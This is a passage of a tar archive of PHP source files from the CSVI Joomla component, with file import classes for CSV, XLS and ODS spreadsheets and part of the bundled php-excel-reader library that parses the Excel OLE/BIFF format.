	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array	with the line of data read | false if data cannot be read
	 * @since 		3.0
	 */
	public function readNextLine() {
		// Check if the file is still open
		if ($this->_closed) return;

		// Make sure we have delimiters
		if (is_null($this->_field_delimiter)) return false;

		// Load some settings
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$csvilog = $jinput->get('csvilog', null, null);
		$newdata = array();

		// Ignore empty records
		$csvdata = array(0=>'');
		while (is_array($csvdata) && count($csvdata)==1 && $csvdata[0]=='') {
			if (!is_null($this->_text_enclosure)) $csvdata = fgetcsv($this->fp, 0, $this->_field_delimiter, $this->_text_enclosure);
			else $csvdata = fgetcsv($this->fp, 0, $this->_field_delimiter);
		}

		// Check if we can read the line correctly
		if (count($csvdata) == 1 && !$this->_checked_delimiter) {
			$current_field = $this->_field_delimiter;
			$current_text = $this->_text_enclosure;
			$this->_findDelimiters(true);
			if ($template->show_preview) {
				if ($current_field != $this->_field_delimiter) JError::raiseNotice(0, JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter));
				if ($current_text != $this->_text_enclosure) JError::raiseNotice(0, JText::sprintf('COM_CSVI_UNEQUAL_TEXT_ENCLOSURE', $current_text, $this->_text_enclosure));
			}
			else {
				if ($current_field != $this->_field_delimiter) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter));
				if ($current_text != $this->_text_enclosure) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter));
			}
			$this->_field_delimiter = $current_field;
			$this->_text_enclosure = $current_text;
		}

		if ($csvdata) {
			// Do BOM check
			if ($jinput->get('currentline', 0, 'int') == 1 || is_null($jinput->get('currentline', null, null))) {
				// Remove text delimiters as they are not recognized by fgetcsv
				$csvdata[0] = $this->_removeTextDelimiters($this->_checkBom($csvdata[0]));
			}
			$this->linepointer++;

			return $csvdata;
		}
		else return false;
	}

	/**
	 * Process the file to import
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function processFile() {
		// Open the csv file
		$this->fp = fopen($this->filename, "r");
		$this->_closed = false;

		// Load the delimiters
		$this->_findDelimiters();

		return true;
	}

	/**
	 * Find the delimiters used
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		bool	$force	Force to read the delimiters from the imported file
	 * @return 		bool	true if delimiters found | false if delimiters not found
	 * @since 		3.0
	 */
	private function _findDelimiters($force=false) {
		$jinput = JFactory::getApplication()->input;
		if (!$this->_checked_delimiter) {
			$csvilog = $jinput->get('csvilog', null, null);
			$template = $jinput->get('template', null, null);
			if (!$template->get('auto_detect_delimiters', 'general', true) && !$force) {
				// Set the field delimiter
				if (strtolower($template->get('field_delimiter', 'general')) == 't') $this->_field_delimiter = "\t";
				else $this->_field_delimiter = $template->get('field_delimiter', 'general');

				// Set the text enclosure
				$this->_text_enclosure = ($template->get('text_enclosure', 'general', '')) ? $template->get('text_enclosure', 'general') : null;
			}
			else {
				// Read the first line
				rewind($this->fp);
				$line = fgets($this->fp);

				// 1. Is the user using text enclosures
				$first_char = substr($line, 0, 1);
				$pattern = '/[a-zA-Z0-9_]/';
				$matches = array();
				preg_match($pattern, $first_char, $matches);
				if (count($matches) == 0) {
					// User is using text delimiter
					$this->_text_enclosure = $first_char;
					$csvilog->addDebug(JText::sprintf('COM_CSVI_FOUND_TEXT_ENCLOSURE', $first_char));

					// 2. What field delimiter is being used
					$match_next_char = strpos($line, $this->_text_enclosure, 1);
					$second_char = substr($line, $match_next_char+1, 1);
					if ($first_char == $second_char) {
						$jinput->set('error_found', true);
						JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_FIND_TEXT_DELIMITER'));
						return false;
					}
					else {
						$this->_field_delimiter = $second_char;
					}
				}
				else {
					$totalchars = strlen($line);
					// 2. What field delimiter is being used
					for ($i = 0;$i <= $totalchars; $i++) {
						$current_char = substr($line, $i, 1);
						preg_match($pattern, $current_char, $matches);
						if (count($matches) == 0) {
							$this->_field_delimiter = $current_char;
							$i = $totalchars;
						}
					}
				}
				$csvilog->addDebug(JText::sprintf('COM_CSVI_FOUND_FIELD_DELIMITER', $this->_field_delimiter));
				rewind($this->fp);
			}
			$this->_checked_delimiter = true;
		}
		return true;
	}

	/**
	 * Checks if the uploaded file has a BOM
	 *
	 * If the uploaded file has a BOM, remove it since it only causes
	 * problems on import.
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see			ReadNextLine()
	 * @access 		private
	 * @param 		string	$data	the string to check for a BOM
	 * @return 		string return the cleaned string
	 * @since 		3.0
	 */
	private function _checkBom($data) {
		// Check the first three characters
		if (strlen($data) > 3) {
			if (ord($data{0}) == 239 && ord($data{1}) == 187 && ord($data{2}) == 191) {
				return substr($data, 3, strlen($data));
			}
			else return $data;
		}
		else return $data;
	}

	/**
	 * Removes the text delimiters when fgetcsv() has failed to do so because the file contains a BOM.
	 * This allows for the possibility that the data value contains embedded text enclosure characters
	 * (which should be doubled up for correct csv file format).
	 * The string [32" TV] (ignore brackets) should be encoded as ["32"" TV"]
	 * This function correctly decodes ["32"" TV"] back to [32" TV]
	 *
	 * @copyright
	 * @author		doorknob
	 * @todo
	 * @see
	 * @access		private
	 * @param 		string	$data	the string to clean
	 * @return 		string	the cleaned string
	 * @since
	 */
	private function _removeTextDelimiters($data) {
		if( substr($data, 0, 1) == $this->_text_enclosure && substr($data, -1, 1) == $this->_text_enclosure ) {
			return str_replace($this->_text_enclosure.$this->_text_enclosure, $this->_text_enclosure, substr($data, 1, -1));
		}
		else {
			return $data;
		}
	}

	/**
	 * Sets the file pointer back to beginning
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function rewind() {
		$this->setFilePos(0);
	}
}
?>
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/import/xls.php���������������������������������������������������������������������������������0000666�����������������00000006641�15137667660�0010350 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * XLS file processor class
 *
 * @package		CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: xls.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

class XlsFile extends CsviFile {

	/**
	 * Construct the class and its settings
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Get the size of the file
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	the size of the file being read
	 * @since 		3.0
	 */
	public function getFileSize() {
		return $this->data[0]['numRows'];
	}

	/**
	 * Load the column headers from a file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool	true
	 * @since 		3.0
	 */
	public function loadColumnHeaders() {
		$jinput = JFactory::getApplication()->input;
		// Make sure we include the empty fields
		for ($i=1; $i<=$this->data[0]['numCols']; $i++) {
			if (!isset($this->data[0]['cells'][1])) $this->data[0]['cells'][1][$i] = '';
		}
		$headers = array_values($this->data[0]['cells'][1]);
		$jinput->set('columnheaders', $headers);
		$this->linepointer++;
		return true;
	}

	/**
	 * Get the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function getFilePos() {
		return $this->linepointer;
	}

	/**
	 * Set the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$pos	the position to move to
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function setFilePos($pos) {
		$this->linepointer = $pos;
		return $this->linepointer;
	}

	/**
	 * Read the next line in the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array	with the line of data read | false if data cannot be read
	 * @since 		3.0
	 */
	public function readNextLine() {
		if ($this->data[0]['numRows'] >= $this->linepointer) {
			$newdata = array();

			// Make sure we include the empty fields
			for ($i=1; $i <= $this->data[0]['numCols']; $i++) {
			   if (!isset($this->data[0]['cells'][$this->linepointer][$i])) $newdata[] = '';
			   else $newdata[] = $this->data[0]['cells'][$this->linepointer][$i];
			}
			$this->linepointer++;
			return $newdata;
		}
		else return false;
	}

	/**
	 * Process the file to import
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function processFile() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$this->fp = true;
		$this->data = new Spreadsheet_Excel_Reader($this->filename, false);
		$this->data = $this->data->sheets;
		return true;
	}

	/**
	 * Sets the file pointer back to beginning
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function rewind() {
		$this->setFilePos(1);
	}
}
?>
�����������������������������������������������������������������������������������������������file/import/ods.php���������������������������������������������������������������������������������0000666�����������������00000010304�15137667660�0010316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * ODS file processor class
 *
 * @package		CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: ods.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

class OdsFile extends CsviFile {

	/** @var bool	sets if the ODS file has been unpacked */
	private $_unpacked = false;

	/**
	 * Construct the class and its settings
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Get the size of the file
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	the size of the file being read
	 * @since 		3.0
	 */
	public function getFileSize() {
		return $this->data->rows;
	}

	/**
	 * Load the column headers from a file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool	true
	 * @since 		3.0
	 */
	public function loadColumnHeaders() {
		$jinput = JFactory::getApplication()->input;
		$jinput->set('columnheaders', $this->data->_data[1]);
		$this->linepointer++;
		return true;
	}

	/**
	 * Get the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function getFilePos() {
		return $this->linepointer;
	}

	/**
	 * Set the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$pos	the position to move to
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function setFilePos($pos) {
		$this->linepointer = $pos;
		return $this->linepointer;
	}

	/**
	 * Read the next line in the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array	with the line of data read | false if data cannot be read
	 * @since 		3.0
	 */
	public function readNextLine() {
		if ($this->data->rows >= $this->linepointer) {
			$newdata = array();
			$newdata = $this->data->_data[$this->linepointer];
			$this->linepointer++;
			return $newdata;
		}
		else return false;
	}

	/**
	 * Process the file to import
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function processFile() {
		if (!$this->_unpacked) {
			$jinput = JFactory::getApplication()->input;
			$csvilog = $jinput->get('csvilog', null, null);
			jimport('joomla.filesystem.file');
			jimport('joomla.filesystem.archive');
			$this->fp = true;
			$this->linepointer = 1;
			$this->data = new ODSParser();
			// First we need to unpack the zipfile
			$unpackfile = $this->_unpackpath.'/ods/'.basename($this->filename).'.zip';
			$importfile = $this->_unpackpath.'/ods/content.xml';

			// Check the unpack folder
			JFolder::create($this->_unpackpath.'/ods');

			// Delete the destination file if it already exists
			if (JFile::exists($unpackfile)) JFile::delete($unpackfile);
			if (JFile::exists($importfile)) JFile::delete($importfile);

			// Now copy the file to the folder
			JFile::copy($this->filename, $unpackfile);

			// Extract the files in the folder
			if (!JArchive::extract($unpackfile, $this->_unpackpath.'/ods')) {
				$csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_UNPACK_ODS_FILE'));
				return false;
			}
			// File is always called content.xml
			else $this->filename = $importfile;

			// Read the data to process
			if (!$this->data->read($this->filename)) return false;

			// Set the unpacked to true as we have unpacked the file
			$this->_unpacked = true;
		}

		// All good return true
		return true;
	}

	/**
	 * Sets the file pointer back to beginning
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function rewind() {
		// Set the line pointer to 1 as that is the first entry in the data array
		$this->setFilePos(1);
	}

}
?>
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/import/excel_reader2.php�����������������������������������������������������������������������0000666�����������������00000164101�15137667660�0012242 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
* A class for reading Microsoft Excel (97/2003) Spreadsheets.
*
* Version 2.2
*
* Enhanced and maintained by Matt Kruse < http://mattkruse.com >
* Maintained at http://code.google.com/p/php-excel-reader/
*
* Format parsing and MUCH more contributed by:
*    Matt Roxburgh < http://www.roxburgh.me.uk >
*
* DOCUMENTATION
* =============
*   http://code.google.com/p/php-excel-reader/wiki/Documentation
*
* CHANGE LOG
* ==========
*   http://code.google.com/p/php-excel-reader/wiki/ChangeHistory
*
* DISCUSSION/SUPPORT
* ==================
*   http://groups.google.com/group/php-excel-reader-discuss/topics
*
* --------------------------------------------------------------------------
*
* Originally developed by Vadim Tkachenko under the name PHPExcelReader.
* (http://sourceforge.net/projects/phpexcelreader)
* Based on the Java version by Andy Khan (http://www.andykhan.com).  Now
* maintained by David Sanders.  Reads only Biff 7 and Biff 8 formats.
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt.  If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category   Spreadsheet
* @package	Spreadsheet_Excel_Reader
* @author	 Vadim Tkachenko <vt@apachephp.com>
* @license	http://www.php.net/license/3_0.txt  PHP License 3.0
* @version	CVS: $Id: excel_reader2.php 1456 2010-12-05 11:31:17Z RolandD $
* @link	   http://pear.php.net/package/Spreadsheet_Excel_Reader
* @see		OLE, Spreadsheet_Excel_Writer
* --------------------------------------------------------------------------
 */

define('NUM_BIG_BLOCK_DEPOT_BLOCKS_POS', 0x2c);
define('SMALL_BLOCK_DEPOT_BLOCK_POS', 0x3c);
define('ROOT_START_BLOCK_POS', 0x30);
define('BIG_BLOCK_SIZE', 0x200);
define('SMALL_BLOCK_SIZE', 0x40);
define('EXTENSION_BLOCK_POS', 0x44);
define('NUM_EXTENSION_BLOCK_POS', 0x48);
define('PROPERTY_STORAGE_BLOCK_SIZE', 0x80);
define('BIG_BLOCK_DEPOT_BLOCKS_POS', 0x4c);
define('SMALL_BLOCK_THRESHOLD', 0x1000);
// property storage offsets
define('SIZE_OF_NAME_POS', 0x40);
define('TYPE_POS', 0x42);
define('START_BLOCK_POS', 0x74);
define('SIZE_POS', 0x78);
define('IDENTIFIER_OLE', pack("CCCCCCCC",0xd0,0xcf,0x11,0xe0,0xa1,0xb1,0x1a,0xe1));


function GetInt4d($data, $pos) {
	$value = ord($data[$pos]) | (ord($data[$pos+1])	<< 8) | (ord($data[$pos+2]) << 16) | (ord($data[$pos+3]) << 24);
	if ($value>=4294967294) {
		$value=-2;
	}
	return $value;
}

// http://uk.php.net/manual/en/function.getdate.php
function gmgetdate($ts = null){
	$k = array('seconds','minutes','hours','mday','wday','mon','year','yday','weekday','month',0);
	return(array_combine($k,explode(":",gmdate('s:i:G:j:w:n:Y:z:l:F:U',is_null($ts)?time():$ts))));
	} 
	
function v($data,$pos) {
	return ord($data[$pos]) | ord($data[$pos+1])<<8;
}

class OLERead {
	var $data = '';
	function OLERead(){	}

	function read($sFileName){
		// check if file exist and is readable (Darko Miljanovic)
		if(!is_readable($sFileName)) {
			$this->error = 1;
			return false;
		}
		$this->data = @file_get_contents($sFileName);
		if (!$this->data) {
			$this->error = 1;
			return false;
   		}
   		if (substr($this->data, 0, 8) != IDENTIFIER_OLE) {
			$this->error = 1;
			return false;
   		}
		$this->numBigBlockDepotBlocks = GetInt4d($this->data, NUM_BIG_BLOCK_DEPOT_BLOCKS_POS);
		$this->sbdStartBlock = GetInt4d($this->data, SMALL_BLOCK_DEPOT_BLOCK_POS);
		$this->rootStartBlock = GetInt4d($this->data, ROOT_START_BLOCK_POS);
		$this->extensionBlock = GetInt4d($this->data, EXTENSION_BLOCK_POS);
		$this->numExtensionBlocks = GetInt4d($this->data, NUM_EXTENSION_BLOCK_POS);

		$bigBlockDepotBlocks = array();
		$pos = BIG_BLOCK_DEPOT_BLOCKS_POS;
		$bbdBlocks = $this->numBigBlockDepotBlocks;
		if ($this->numExtensionBlocks != 0) {
			$bbdBlocks = (BIG_BLOCK_SIZE - BIG_BLOCK_DEPOT_BLOCKS_POS)/4;
		}

		for ($i = 0; $i < $bbdBlocks; $i++) {
			$bigBlockDepotBlocks[$i] = GetInt4d($this->data, $pos);
			$pos += 4;
		}


		for ($j = 0; $j < $this->numExtensionBlocks; $j++) {
			$pos = ($this->extensionBlock + 1)* BIG_BLOCK_SIZE;
			$blocksToRead = min($this->numBigBlockDepotBlocks - $bbdBlocks, BIG_BLOCK_SIZE / 4 - 1);

			for ($i = $bbdBlocks; $i < $bbdBlocks + $blocksToRead; $i++) {
				$bigBlockDepotBlocks[$i] = GetInt4d($this->data, $pos);
				$pos += 4;
			}

			$bbdBlocks += $blocksToRead;
			if ($bbdBlocks < $this->numBigBlockDepotBlocks) {
				$this->extensionBlock = GetInt4d($this->data, $pos);
			}
		}

		// readBigBlockDepot
		$pos = 0;
		$index = 0;
		$this->bigBlockChain = array();

		for ($i = 0; $i < $this->numBigBlockDepotBlocks; $i++) {
			$pos = ($bigBlockDepotBlocks[$i] + 1)* BIG_BLOCK_SIZE;
			//echo "pos = $pos";
			for ($j = 0 ; $j < BIG_BLOCK_SIZE / 4; $j++) {
				$this->bigBlockChain[$index] = GetInt4d($this->data, $pos);
				$pos += 4 ;
				$index++;
			}
		}

		// readSmallBlockDepot();
		$pos = 0;
		$index = 0;
		$sbdBlock = $this->sbdStartBlock;
		$this->smallBlockChain = array();

		while ($sbdBlock != -2) {
		  $pos = ($sbdBlock + 1)* BIG_BLOCK_SIZE;
		  for ($j = 0; $j < BIG_BLOCK_SIZE / 4; $j++) {
			$this->smallBlockChain[$index] = GetInt4d($this->data, $pos);
			$pos += 4;
			$index++;
		  }
		  $sbdBlock = $this->bigBlockChain[$sbdBlock];
		}


		// readData(rootStartBlock)
		$block = $this->rootStartBlock;
		$pos = 0;
		$this->entry = $this->__readData($block);
		$this->__readPropertySets();
	}

	function __readData($bl) {
		$block = $bl;
		$pos = 0;
		$data = '';
		while ($block != -2)  {
			$pos = ($block + 1)* BIG_BLOCK_SIZE;
			$data = $data.substr($this->data, $pos, BIG_BLOCK_SIZE);
			$block = $this->bigBlockChain[$block];
		}
		return $data;
	 }

	function __readPropertySets(){
		$offset = 0;
		while ($offset < strlen($this->entry)) {
			$d = substr($this->entry, $offset, PROPERTY_STORAGE_BLOCK_SIZE);
			$nameSize = ord($d[SIZE_OF_NAME_POS]) | (ord($d[SIZE_OF_NAME_POS+1]) << 8);
			$type = ord($d[TYPE_POS]);
			$startBlock = GetInt4d($d, START_BLOCK_POS);
			$size = GetInt4d($d, SIZE_POS);
			$name = '';
			for ($i = 0; $i < $nameSize ; $i++) {
				$name .= $d[$i];
			}
			$name = str_replace("\x00", "", $name);
			$this->props[] = array (
				'name' => $name,
				'type' => $type,
				'startBlock' => $startBlock,
				'size' => $size);
			if ((strtolower($name) == "workbook") || ( strtolower($name) == "book")) {
				$this->wrkbook = count($this->props) - 1;
			}
			if ($name == "Root Entry") {
				$this->rootentry = count($this->props) - 1;
			}
			$offset += PROPERTY_STORAGE_BLOCK_SIZE;
		}

	}


	function getWorkBook(){
		if ($this->props[$this->wrkbook]['size'] < SMALL_BLOCK_THRESHOLD){
			$rootdata = $this->__readData($this->props[$this->rootentry]['startBlock']);
			$streamData = '';
			$block = $this->props[$this->wrkbook]['startBlock'];
			$pos = 0;
			while ($block != -2) {
	  			  $pos = $block* SMALL_BLOCK_SIZE;
				  $streamData .= substr($rootdata, $pos, SMALL_BLOCK_SIZE);
				  $block = $this->smallBlockChain[$block];
			}
			return $streamData;
		}else{
			$numBlocks = $this->props[$this->wrkbook]['size'] / BIG_BLOCK_SIZE;
			if ($this->props[$this->wrkbook]['size'] % BIG_BLOCK_SIZE != 0) {
				$numBlocks++;
			}

			if ($numBlocks == 0) return '';
			$streamData = '';
			$block = $this->props[$this->wrkbook]['startBlock'];
			$pos = 0;
			while ($block != -2) {
			  $pos = ($block + 1)* BIG_BLOCK_SIZE;
			  $streamData .= substr($this->data, $pos, BIG_BLOCK_SIZE);
			  $block = $this->bigBlockChain[$block];
			}
			return $streamData;
		}
	}

}

define('SPREADSHEET_EXCEL_READER_BIFF8',			 0x600);
define('SPREADSHEET_EXCEL_READER_BIFF7',			 0x500);
define('SPREADSHEET_EXCEL_READER_WORKBOOKGLOBALS',   0x5);
define('SPREADSHEET_EXCEL_READER_WORKSHEET',		 0x10);
define('SPREADSHEET_EXCEL_READER_TYPE_BOF',		  0x809);
define('SPREADSHEET_EXCEL_READER_TYPE_EOF',		  0x0a);
define('SPREADSHEET_EXCEL_READER_TYPE_BOUNDSHEET',   0x85);
define('SPREADSHEET_EXCEL_READER_TYPE_DIMENSION',	0x200);
define('SPREADSHEET_EXCEL_READER_TYPE_ROW',		  0x208);
define('SPREADSHEET_EXCEL_READER_TYPE_DBCELL',	   0xd7);
define('SPREADSHEET_EXCEL_READER_TYPE_FILEPASS',	 0x2f);
define('SPREADSHEET_EXCEL_READER_TYPE_NOTE',		 0x1c);
define('SPREADSHEET_EXCEL_READER_TYPE_TXO',		  0x1b6);
define('SPREADSHEET_EXCEL_READER_TYPE_RK',		   0x7e);
define('SPREADSHEET_EXCEL_READER_TYPE_RK2',		  0x27e);
define('SPREADSHEET_EXCEL_READER_TYPE_MULRK',		0xbd);
define('SPREADSHEET_EXCEL_READER_TYPE_MULBLANK',	 0xbe);
define('SPREADSHEET_EXCEL_READER_TYPE_INDEX',		0x20b);
define('SPREADSHEET_EXCEL_READER_TYPE_SST',		  0xfc);
define('SPREADSHEET_EXCEL_READER_TYPE_EXTSST',	   0xff);
define('SPREADSHEET_EXCEL_READER_TYPE_CONTINUE',	 0x3c);
define('SPREADSHEET_EXCEL_READER_TYPE_LABEL',		0x204);
define('SPREADSHEET_EXCEL_READER_TYPE_LABELSST',	 0xfd);
define('SPREADSHEET_EXCEL_READER_TYPE_NUMBER',	   0x203);
define('SPREADSHEET_EXCEL_READER_TYPE_NAME',		 0x18);
define('SPREADSHEET_EXCEL_READER_TYPE_ARRAY',		0x221);
define('SPREADSHEET_EXCEL_READER_TYPE_STRING',	   0x207);
define('SPREADSHEET_EXCEL_READER_TYPE_FORMULA',	  0x406);
define('SPREADSHEET_EXCEL_READER_TYPE_FORMULA2',	 0x6);
define('SPREADSHEET_EXCEL_READER_TYPE_FORMAT',	   0x41e);
define('SPREADSHEET_EXCEL_READER_TYPE_XF',		   0xe0);
define('SPREADSHEET_EXCEL_READER_TYPE_BOOLERR',	  0x205);
define('SPREADSHEET_EXCEL_READER_TYPE_FONT',	  0x0031);
define('SPREADSHEET_EXCEL_READER_TYPE_PALETTE',	  0x0092);
define('SPREADSHEET_EXCEL_READER_TYPE_UNKNOWN',	  0xffff);
define('SPREADSHEET_EXCEL_READER_TYPE_NINETEENFOUR', 0x22);
define('SPREADSHEET_EXCEL_READER_TYPE_MERGEDCELLS',  0xE5);
define('SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS' ,	25569);
define('SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS1904', 24107);
define('SPREADSHEET_EXCEL_READER_MSINADAY',		  86400);
define('SPREADSHEET_EXCEL_READER_TYPE_HYPER',	     0x01b8);
define('SPREADSHEET_EXCEL_READER_TYPE_COLINFO',	     0x7d);
define('SPREADSHEET_EXCEL_READER_TYPE_DEFCOLWIDTH',  0x55);
define('SPREADSHEET_EXCEL_READER_TYPE_STANDARDWIDTH', 0x99);
define('SPREADSHEET_EXCEL_READER_DEF_NUM_FORMAT',	"%s");


/*
* Main Class
 */
class Spreadsheet_Excel_Reader {

	// MK: Added to make data retrieval easier
	var $colnames = array();
	var $colindexes = array();
	var $standardColWidth = 0;
	var $defaultColWidth = 0;

	function myHex($d) {
		if ($d < 16) return "0" . dechex($d);
		return dechex($d);
	}
	
	function dumpHexData($data, $pos, $length) {
		$info = "";
		for ($i = 0; $i <= $length; $i++) {
			$info .= ($i==0?"":" ") . $this->myHex(ord($data[$pos + $i])) . (ord($data[$pos + $i])>31? "[" . $data[$pos + $i] . "]":'');
		}
		return $info;
	}

	function getCol($col) {
		if (is_string($col)) {
			$col = strtolower($col);
			if (array_key_exists($col,$this->colnames)) {
				$col = $this->colnames[$col];
			}
		}
		return $col;
	}

	// PUBLIC API FUNCTIONS
	// --------------------

	function val($row,$col,$sheet=0) {
		$col = $this->getCol($col);
		if (array_key_exists($row,$this->sheets[$sheet]['cells']) && array_key_exists($col,$this->sheets[$sheet]['cells'][$row])) {
			return $this->sheets[$sheet]['cells'][$row][$col];
		}
		return "";
	}
	function value($row,$col,$sheet=0) {
		return $this->val($row,$col,$sheet);
	}
	function info($row,$col,$type='',$sheet=0) {
		$col = $this->getCol($col);
		if (array_key_exists('cellsInfo',$this->sheets[$sheet])
				&& array_key_exists($row,$this->sheets[$sheet]['cellsInfo'])
				&& array_key_exists($col,$this->sheets[$sheet]['cellsInfo'][$row])
				&& array_key_exists($type,$this->sheets[$sheet]['cellsInfo'][$row][$col])) {
			return $this->sheets[$sheet]['cellsInfo'][$row][$col][$type];
		}
		return "";
	}
	function type($row,$col,$sheet=0) {
		return $this->info($row,$col,'type',$sheet);
	}
	function raw($row,$col,$sheet=0) {
		return $this->info($row,$col,'raw',$sheet);
	}
	function rowspan($row,$col,$sheet=0) {
		$val = $this->info($row,$col,'rowspan',$sheet);
		if ($val=="") { return 1; }
		return $val;
	}
	function colspan($row,$col,$sheet=0) {
		$val = $this->info($row,$col,'colspan',$sheet);
		if ($val=="") { return 1; }
		return $val;
	}
	function hyperlink($row,$col,$sheet=0) {
		$link = $this->sheets[$sheet]['cellsInfo'][$row][$col]['hyperlink'];
		if ($link) {
			return $link['link'];
		}
		return '';
	}
	function rowcount($sheet=0) {
		return $this->sheets[$sheet]['numRows'];
	}
	function colcount($sheet=0) {
		return $this->sheets[$sheet]['numCols'];
	}
	function colwidth($col,$sheet=0) {
		// Col width is actually the width of the number 0. So we have to estimate and come close
		return $this->colInfo[$sheet][$col]['width']/9142*200; 
	}
	function colhidden($col,$sheet=0) {
		return !!$this->colInfo[$sheet][$col]['hidden'];
	}
	function rowheight($row,$sheet=0) {
		return $this->rowInfo[$sheet][$row]['height'];
	}
	function rowhidden($row,$sheet=0) {
		return !!$this->rowInfo[$sheet][$row]['hidden'];
	}
	
	// GET THE CSS FOR FORMATTING
	// ==========================
	function style($row,$col,$sheet=0,$properties='') {
		$css = "";
		$font=$this->font($row,$col,$sheet);
		if ($font!="") {
			$css .= "font-family:$font;";
		}
		$align=$this->align($row,$col,$sheet);
		if ($align!="") {
			$css .= "text-align:$align;";
		}
		$height=$this->height($row,$col,$sheet);
		if ($height!="") {
			$css .= "font-size:$height"."px;";
		}
		$bgcolor=$this->bgColor($row,$col,$sheet);
		if ($bgcolor!="") {
			$bgcolor = $this->colors[$bgcolor];
			$css .= "background-color:$bgcolor;";
		}
		$color=$this->color($row,$col,$sheet);
		if ($color!="") {
			$css .= "color:$color;";
		}
		$bold=$this->bold($row,$col,$sheet);
		if ($bold) {
			$css .= "font-weight:bold;";
		}
		$italic=$this->italic($row,$col,$sheet);
		if ($italic) {
			$css .= "font-style:italic;";
		}
		$underline=$this->underline($row,$col,$sheet);
		if ($underline) {
			$css .= "text-decoration:underline;";
		}
		// Borders
		$bLeft = $this->borderLeft($row,$col,$sheet);
		$bRight = $this->borderRight($row,$col,$sheet);
